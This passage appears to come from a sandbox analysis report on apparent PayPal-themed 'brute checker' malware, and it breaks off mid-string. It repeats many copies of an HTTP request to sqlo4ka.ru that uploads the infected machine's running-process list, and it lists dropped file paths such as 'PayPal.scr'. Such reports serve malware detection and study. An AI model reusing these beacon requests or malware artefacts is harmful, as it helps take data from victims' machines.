/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "paypal")31:T956,"C:\PayPalBrute_Checker.exe"" (Indicator: "paypal"), "C:\PayPalBrute_Checker.exe" (Indicator: "paypal"), "open C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "PayPalBrute_Checker.exe" (Indicator: "paypal"), "pen C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "ers\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "-open C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.132:T701,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.133:T701,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.134:T701,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.135:T6d9,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.136:T94b,"C:\PayPalBrute_Checker.exe"" (Indicator: "paypal"), "C:\PayPalBrute_Checker.exe" (Indicator: "paypal"), "open %APPDATA%\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "PayPalBrute_Checker.exe" (Indicator: "paypal"), "pen C:\Users\%USERNAME%\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "ers\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "C:\Users\%USERNAME%\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "-open C:\Users\%USERNAME%\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "C:\Users\%USERNAME%\AppData\Roaming\1337\PayPal.scr" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.137:T701,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.e